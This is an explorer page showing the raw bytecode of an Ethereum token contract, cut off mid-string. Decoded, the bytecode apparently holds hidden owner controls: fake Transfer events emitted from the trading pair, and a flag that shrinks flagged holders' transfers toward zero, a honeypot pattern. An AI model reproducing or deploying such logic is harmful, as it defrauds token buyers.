Cryo Explorer Ethereum Mainnet

Address Contract Verified

Address 0x5Ca9c0ddb0BA2793d0Aa4e6A96954B96540d6b32
Balance 0 ETH
Nonce 1
Code Size 16538 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

16538 bytes
0x608060405260043610610254575f3560e01c806371f5f01a11610138578063c0246668116100b5578063cd5f101d11610079578063cd5f101d1461084d578063dd62ed3e14610889578063e2f45605146108c5578063f2fde38b146108ef578063f8b45b0514610917578063ffb54a99146109415761025b565b8063c024666814610793578063c2b7bbb6146107bb578063c876d0b9146107e3578063c8c8ebe41461080d578063c9567bf9146108375761025b565b80639b636545116100fc5780639b636545146106b3578063a0ef91df146106c9578063a457c2d7146106df578063a9059cbb1461071b578063b6b9f5cb146107575761025b565b806371f5f01a146105e75780637571336a1461060f5780638da5cb5b1461063757806395d89b41146106615780639a7a23d61461068b5761025b565b8063313ce567116101d15780634fbee193116101955780634fbee193146104dd57806352f7c98814610519578063583e0568146105415780636ddd17131461056b57806370a0823114610595578063715018a6146105d15761025b565b8063313ce567146103fb578063395093511461042557806342966c6814610461578063470624021461048957806349bd5a5e146104b35761025b565b806323b872dd1161021857806323b872dd1461032d57806326ededb8146103695780632b14ca56146103915780632cb743f7146103bb578063311028af146103d15761025b565b806306fdde031461025f578063095ea7b3146102895780631111f43f146102c5578063139864a8146102ed57806318160ddd146103035761025b565b3661025b57005b5f80fd5b34801561026a575f80fd5b5061027361096b565b6040516102809190612e45565b60405180910390f35b348015610294575f80fd5b506102af60048036038101906102aa9190612efa565b6109fb565b6040516102bc9190612f52565b60405180910390f35b3480156102d0575f80fd5b506102eb60048036038101906102e69190612ff6565b610a1d565b005b3480156102f8575f80fd5b50610301610ac6565b005b34801561030e575f80fd5b50610317610ae2565b6040516103249190613062565b60405180910390f35b348015610338575f80fd5b50610353600480360381019061034e919061307b565b610aeb565b6040516103609190612f52565b60405180910390f35b348015610374575f80fd5b5061038f600480360381019061038a91906130cb565b610b19565b005b34801561039c575f80fd5b506103a5610bf4565b6040516103b29190613062565b60405180910390f35b3480156103c6575f80fd5b506103cf610bfa565b005b3480156103dc575f80fd5b506103e5610c94565b6040516103f29190613062565b60405180910390f35b348015610406575f80fd5b5061040f610c9a565b60405161041c9190613143565b60405180910390f35b348015610430575f80fd5b5061044b60048036038101906104469190612efa565b610ca2565b6040516104589190612f52565b60405180910390f35b34801561046c575f80fd5b506104876004803603810190610482919061315c565b610cd8565b005b348015610494575f80fd5b5061049d610cec565b6040516104aa9190613062565b60405180910390f35b3480156104be575f80fd5b506104c7610cf2565b6040516104d49190613196565b60405180910390f35b3480156104e8575f80fd5b5061050360048036038101906104fe91906131af565b610d17565b6040516105109190612f52565b60405180910390f35b348015610524575f80fd5b5061053f600480360381019061053a91906131da565b610d69565b005b34801561054c575f80fd5b50610555610d83565b6040516105629190613273565b60405180910390f35b348015610576575f80fd5b5061057f610da7565b60405161058c9190612f52565b60405180910390f35b3480156105a0575f80fd5b506105bb60048036038101906105b691906131af565b610dba565b6040516105c89190613062565b60405180910390f35b3480156105dc575f80fd5b506105e5610e00565b005b3480156105f2575f80fd5b5061060d6004803603810190610608919061315c565b610e13565b005b34801561061a575f80fd5b506106356004803603810190610630919061328c565b610ea7565b005b348015610642575f80fd5b5061064b610f07565b6040516106589190613196565b60405180910390f35b34801561066c575f80fd5b50610675610f2f565b6040516106829190612e45565b60405180910390f35b348015610696575f80fd5b506106b160048036038101906106ac919061328c565b610fbf565b005b3480156106be575f80fd5b506106c7611064565b005b3480156106d4575f80fd5b506106dd6110d7565b005b3480156106ea575f80fd5b5061070560048036038101906107009190612efa565b6111be565b6040516107129190612f52565b60405180910390f35b348015610726575f80fd5b50610741600480360381019061073c9190612efa565b611233565b60405161074e9190612f52565b60405180910390f35b348015610762575f80fd5b5061077d600480360381019061077891906131af565b611255565b60405161078a9190612f52565b60405180910390f35b34801561079e575f80fd5b506107b960048036038101906107b4919061328c565b6112a7565b005b3480156107c6575f80fd5b506107e160048036038101906107dc91906131af565b611355565b005b3480156107ee575f80fd5b506107f76113cc565b6040516108049190612f52565b60405180910390f35b348015610818575f80fd5b506108216113df565b60405161082e9190613062565b60405180910390f35b348015610842575f80fd5b5061084b6113e5565b005b348015610858575f80fd5b50610873600480360381019061086e91906131af565b611409565b6040516108809190613062565b60405180910390f35b348015610894575f80fd5b506108af60048036038101906108aa91906132ca565b61141e565b6040516108bc9190613062565b60405180910390f35b3480156108d0575f80fd5b506108d96114a0565b6040516108e69190613062565b60405180910390f35b3480156108fa575f80fd5b50610915600480360381019061091091906131af565b6114a6565b005b348015610922575f80fd5b5061092b611528565b6040516109389190613062565b60405180910390f35b34801561094c575f80fd5b5061095561152e565b6040516109629190612f52565b60405180910390f35b60606004805461097a90613335565b80601f01602080910402602001604051908101604052809291908181526020018280546109a690613335565b80156109f15780601f106109c8576101008083540402835291602001916109f1565b820191905f5260205f20905b8154815290600101906020018083116109d457829003601f168201915b5050505050905090565b5f80610a05611540565b9050610a12818585611547565b600191505092915050565b610a2561170a565b5f5b83839050811015610ac0578160165f868685818110610a4957610a48613365565b5b9050602002016020810190610a5e91906131af565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080610ab8906133bf565b915050610a27565b50505050565b610ace61170a565b600a54600e81905550600a54600d81905550565b5f600354905090565b5f80610af5611540565b9050610b0285828561179b565b610b0d858585611826565b60019150509392505050565b610b2161170a565b5f5b83839050811015610bee57838382818110610b4157610b40613365565b5b9050602002016020810190610b5691906131af565b73ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610bd39190613062565b60405180910390a38080610be6906133bf565b915050610b23565b50505050565b600c5481565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c3a611540565b73ffffffffffffffffffffffffffffffffffffffff1614610c59575f80fd5b5f610c6330610dba565b9050610c913060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683611826565b50565b600a5481565b5f6009905090565b5f80610cac611540565b9050610ccd818585610cbe858961141e565b610cc89190613406565b611547565b600191505092915050565b610ce9610ce3611540565b82612487565b50565b600b5481565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60135f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b610d7161170a565b80600c8190555081600b819055505050565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b601260019054906101000a900460ff1681565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610e0861170a565b610e115f61264c565b565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e53611540565b73ffffffffffffffffffffffffffffffffffffffff1614610e72575f80fd5b5f610e7c30610dba565b90505f60648383610e8d9190613439565b610e9791906134a7565b9050610ea28161270f565b505050565b610eaf61170a565b8060145f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b5f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610f3e90613335565b80601f0160208091040260200160405190810160405280929190818152602001828054610f6a90613335565b8015610fb55780601f10610f8c57610100808354040283529160200191610fb5565b820191905f5260205f20905b815481529060010190602001808311610f9857829003601f168201915b5050505050905090565b610fc761170a565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611056576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104d90613547565b60405180910390fd5b6110608282612963565b5050565b61106c61170a565b600f60029054906101000a900460ff166110bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b2906135af565b60405180910390fd5b5f600f60026101000a81548160ff021916908315150217905550565b5f4711611119576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111090613617565b60405180910390fd5b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611159611540565b73ffffffffffffffffffffffffffffffffffffffff1614611178575f80fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f193505050501580156111bb573d5f803e3d5ffd5b50565b5f806111c8611540565b90505f6111d5828661141e565b90508381101561121a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611211906136a5565b60405180910390fd5b6112278286868403611547565b60019250505092915050565b5f8061123d611540565b905061124a818585611826565b600191505092915050565b5f60165f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b6112af61170a565b8060135f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7826040516113499190612f52565b60405180910390a25050565b61135d61170a565b8060075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506113c960075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001610ea7565b50565b600f60029054906101000a900460ff1681565b600e5481565b6113ed61170a565b600160125f6101000a81548160ff021916908315150217905550565b6010602052805f5260405f205f915090505481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60115481565b6114ae61170a565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361151c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151390613733565b60405180910390fd5b6115258161264c565b50565b600d5481565b60125f9054906101000a900460ff1681565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ac906137c1565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611623576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161a9061384f565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116fd9190613062565b60405180910390a3505050565b5f80611714611540565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16611799576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611790906138b7565b60405180910390fd5b565b5f6117a6848461141e565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146118205781811015611812576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118099061391f565b60405180910390fd5b61181f8484848403611547565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611894576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188b906139ad565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611902576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f990613a3b565b60405180910390fd5b5f81036119195761191483835f612a01565b612482565b5f60105f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054036119a0574360105f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b6119a8610f07565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611a1657506119e6610f07565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611a4e57505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611a88575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611aa05750600f5f9054906101000a900460ff16155b156120b55760125f9054906101000a900460ff16611b935760135f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611b53575060135f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b611b92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b8990613aa3565b60405180910390fd5b5b600f60029054906101000a900460ff168015611bf6575060135f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611c49575060135f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611dc5577f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611cf7575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611dc4574360105f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054108015611d8457504360105f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054105b611dc3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dba90613b31565b60405180910390fd5b5b5b600f60019054906101000a900460ff16156120b45760155f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611e77575060145f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611f1e57600e54811115611ec1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eb890613bbf565b60405180910390fd5b600d54611ecd83610dba565b82611ed89190613406565b1115611f19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f1090613c27565b60405180910390fd5b6120b3565b60155f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611fbb575060145f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561200a57600e54811115612005576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ffc90613cb5565b60405180910390fd5b6120b2565b60145f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff166120b157600d5461206483610dba565b8261206f9190613406565b11156120b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120a790613c27565b60405180910390fd5b5b5b5b5b5b5f6120bf30610dba565b90505f601154821190508080156120e25750601260019054906101000a900460ff165b80156120fa5750600f5f9054906101000a900460ff16155b801561214d575060155f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156121a0575060135f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156121f3575060135f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15612235576001600f5f6101000a81548160ff02191690831515021790555061221b83612c70565b5f600f5f6101000a81548160ff0219169083151502179055505b5f600f5f9054906101000a900460ff16158015612299575060135f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156122ec575060135f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b90505f81156124725760155f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156123735761236c606461235e600c5488612cb890919063ffffffff16565b612ccd90919063ffffffff16565b905061244f565b60155f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156123f1576123ea60646123dc600b5488612cb890919063ffffffff16565b612ccd90919063ffffffff16565b905061244e565b60165f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161561244d5761244a8588612ce2565b94505b5b5b5f81111561246357612462873083612a01565b5b808561246f9190613cd3565b94505b61247d878787612a01565b505050505b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036124f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124ec90613d76565b60405180910390fd5b612500825f83612d98565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015612584576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161257b90613e04565b60405180910390fd5b81810360015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160035f82825403925050819055505f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516126349190613062565b60405180910390a3612647835f84612d9d565b505050565b5f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f600267ffffffffffffffff81111561272b5761272a613e22565b5b6040519080825280602002602001820160405280156127595781602001602082028036833780820191505090505b50905030815f815181106127705761276f613365565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612813573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906128379190613e63565b8160018151811061284b5761284a613365565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506128b0307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611547565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8460095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401612932959493929190613f7e565b5f604051808303815f87803b158015612949575f80fd5b505af115801561295b573d5f803e3d5ffd5b505050505050565b8060155f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612a6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a66906139ad565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612add576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ad490613a3b565b60405180910390fd5b612ae8838383612d98565b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015612b6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b6390614046565b60405180910390fd5b81810360015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612c579190613062565b60405180910390a3612c6a848484612d9d565b50505050565b5f612c7a30610dba565b90505f8103612c895750612cb5565b5f819050601154811115612c9d5760115490505b82811115612ca9578290505b612cb28161270f565b50505b50565b5f8183612cc59190613439565b905092915050565b5f8183612cda91906134a7565b905092915050565b5f8060105f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205443612d2d9190613cd3565b90505f603282612d3d9190613439565b90505f60648211612d5a57816064612d559190613cd3565b612d5c565b5f5b90505f60648288612d6d9190613439565b612d7791906134a7565b9050612d8c5f82612da290919063ffffffff16565b94505050505092915050565b505050565b505050565b5f81831015612db15781612db3565b825b905092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612df2578082015181840152602081019050612dd7565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612e1782612dbb565b612e218185612dc5565b9350612e31818560208601612dd5565b612e3a81612dfd565b840191505092915050565b5f6020820190508181035f830152612e5d8184612e0d565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612e9682612e6d565b9050919050565b612ea681612e8c565b8114612eb0575f80fd5b50565b5f81359050612ec181612e9d565b92915050565b5f819050919050565b612ed981612ec7565b8114612ee3575f80fd5b50565b5f81359050612ef481612ed0565b92915050565b5f8060408385031215612f1057612f0f612e65565b5b5f612f1d85828601612eb3565b9250506020612f2e85828601612ee6565b9150509250929050565b5f8115159050919050565b612f4c81612f38565b82525050565b5f602082019050612f655f830184612f43565b92915050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f840112612f8c57612f8b612f6b565b5b8235905067ffffffffffffffff811115612fa957612fa8612f6f565b5b602083019150836020820283011115612fc557612fc4612f73565b5b9250929050565b612fd581612f38565b8114612fdf575f80fd5b50565b5f81359050612ff081612fcc565b92915050565b5f805f6040848603121561300d5761300c612e65565b5b5f84013567ffffffffffffffff81111561302a57613029612e69565b5b61303686828701612f77565b9350935050602061304986828701612fe2565b9150509250925092565b61305c81612ec7565b82525050565b5f6020820190506130755f830184613053565b92915050565b5f805f6060848603121561309257613091612e65565b5b5f61309f86828701612eb3565b93505060206130b086828701612eb3565b92505060406130c186828701612ee6565b9150509250925092565b5f805f604084860312156130e2576130e1612e65565b5b5f84013567ffffffffffffffff8111156130ff576130fe612e69565b5b61310b86828701612f77565b9350935050602061311e86828701612ee6565b9150509250925092565b5f60ff82169050919050565b61313d81613128565b82525050565b5f6020820190506131565f830184613134565b92915050565b5f6020828403121561317157613170612e65565b5b5f61317e84828501612ee6565b91505092915050565b61319081612e8c565b82525050565b5f6020820190506131a95f830184613187565b92915050565b5f602082840312156131c4576131c3612e65565b5b5f6131d184828501612eb3565b91505092915050565b5f80604083850312156131f0576131ef612e65565b5b5f6131fd85828601612ee6565b925050602061320e85828601612ee6565b9150509250929050565b5f819050919050565b5f61323b61323661323184612e6d565b613218565b612e6d565b9050919050565b5f61324c82613221565b9050919050565b5f61325d82613242565b9050919050565b61326d81613253565b82525050565b5f6020820190506132865f830184613264565b92915050565b5f80604083850312156132a2576132a1612e65565b5b5f6132af85828601612eb3565b92505060206132c085828601612fe2565b9150509250929050565b5f80604083850312156132e0576132df612e65565b5b5f6132ed85828601612eb3565b92505060206132fe85828601612eb3565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061334c57607f821691505b60208210810361335f5761335e613308565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6133c982612ec7565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036133fb576133fa613392565b5b600182019050919050565b5f61341082612ec7565b915061341b83612ec7565b925082820190508082111561343357613432613392565b5b92915050565b5f61344382612ec7565b915061344e83612ec7565b925082820261345c81612ec7565b9150828204841483151761347357613472613392565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6134b182612ec7565b91506134bc83612ec7565b9250826134cc576134cb61347a565b5b828204905092915050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d205f8201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b5f613531603983612dc5565b915061353c826134d7565b604082019050919050565b5f6020820190508181035f83015261355e81613525565b9050919050565b7f416c72656164792064697361626c6564210000000000000000000000000000005f82015250565b5f613599601183612dc5565b91506135a482613565565b602082019050919050565b5f6020820190508181035f8301526135c68161358d565b9050919050565b7f546f6b656e3a206e6f2045544820696e2074686520636f6e74726163740000005f82015250565b5f613601601d83612dc5565b915061360c826135cd565b602082019050919050565b5f6020820190508181035f83015261362e816135f5565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f61368f602583612dc5565b915061369a82613635565b604082019050919050565b5f6020820190508181035f8301526136bc81613683565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f61371d602683612dc5565b9150613728826136c3565b604082019050919050565b5f6020820190508181035f83015261374a81613711565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6137ab602483612dc5565b91506137b682613751565b604082019050919050565b5f6020820190508181035f8301526137d88161379f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f613839602283612dc5565b9150613844826137df565b604082019050919050565b5f6020820190508181035f8301526138668161382d565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6138a1602083612dc5565b91506138ac8261386d565b602082019050919050565b5f6020820190508181035f8301526138ce81613895565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f613909601d83612dc5565b9150613914826138d5565b602082019050919050565b5f6020820190508181035f830152613936816138fd565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f613997602583612dc5565b91506139a28261393d565b604082019050919050565b5f6020820190508181035f8301526139c48161398b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f613a25602383612dc5565b9150613a30826139cb565b604082019050919050565b5f6020820190508181035f830152613a5281613a19565b9050919050565b7f54726164696e67206973206e6f74206163746976652e000000000000000000005f82015250565b5f613a8d601683612dc5565b9150613a9882613a59565b602082019050919050565b5f6020820190508181035f830152613aba81613a81565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c5f8201527f65642e202054727920616761696e206c617465722e0000000000000000000000602082015250565b5f613b1b603583612dc5565b9150613b2682613ac1565b604082019050919050565b5f6020820190508181035f830152613b4881613b0f565b9050919050565b7f427579207472616e7366657220616d6f756e74206578636565647320746865205f8201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b5f613ba9603583612dc5565b9150613bb482613b4f565b604082019050919050565b5f6020820190508181035f830152613bd681613b9d565b9050919050565b7f4d61782077616c6c6574206578636565646564000000000000000000000000005f82015250565b5f613c11601383612dc5565b9150613c1c82613bdd565b602082019050919050565b5f6020820190508181035f830152613c3e81613c05565b9050919050565b7f53656c6c207472616e7366657220616d6f756e742065786365656473207468655f8201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b5f613c9f603683612dc5565b9150613caa82613c45565b604082019050919050565b5f6020820190508181035f830152613ccc81613c93565b9050919050565b5f613cdd82612ec7565b9150613ce883612ec7565b9250828203905081811115613d0057613cff613392565b5b92915050565b7f45524332303a206275726e2066726f6d20746865207a65726f206164647265735f8201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b5f613d60602183612dc5565b9150613d6b82613d06565b604082019050919050565b5f6020820190508181035f830152613d8d81613d54565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e5f8201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b5f613dee602283612